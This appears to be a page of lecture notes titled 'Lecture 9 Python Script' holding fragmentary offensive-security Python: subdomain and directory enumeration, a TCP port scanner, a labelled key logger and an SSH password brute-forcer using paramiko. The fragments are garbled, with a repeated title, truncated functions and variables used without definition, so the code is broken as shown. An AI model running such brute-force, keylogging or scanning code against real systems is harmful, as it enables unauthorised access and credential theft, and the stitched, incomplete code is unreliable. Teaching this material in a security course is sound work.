Lecture 9 Python Script
Lecture 9 Python Script
Lecture 9 Python Script
if len(sys.argv) != 2:
print("Usage: python script.py <base_domain>")
sys.exit(1)
base_domain = sys.argv[1]
subdomains = enumerate_subdomains(base_domain)
if response.status_code != 404:
valid_directories.append(dir_url)
return valid_directories
if len(sys.argv) != 2:
print("Usage: python script.py <base_url>")
sys.exit(1)
base_url = sys.argv[1]
directory_list = open("wordlist.txt").read().splitlines()
valid_directories = enumerate_directories(base_url, directory_list)
interface = "eth0"
ip_range = "10.10.X.X/24"
broadcastMac = "ff:ff:ff:ff:ff:ff"
Port Scanner
import sys
import socket
def probeport(ip, port, result = 1):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.5)
r = sock.connect_ex((ip, port))
if r == 0:
result = r
sock.close()
except Exception as e:
pass
return result
if open_ports:
print ("Open Ports are: ")
print (sorted(open_ports))
else:
print ("Looks like no ports are open :(")
ip = '192.168.1.6'
open_ports =[]
Key Logger
import keyboard
keys = keyboard.record(until ='ENTER')
keyboard.play(keys)
def ssh_connect(password):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(target, port=22, username=username, password=password)
print('Password found: ' + password)
return True
except paramiko.AuthenticationException:
print('Incorrect password: ' + password)
return False
except Exception as e:
print(e)
finally:
ssh.close()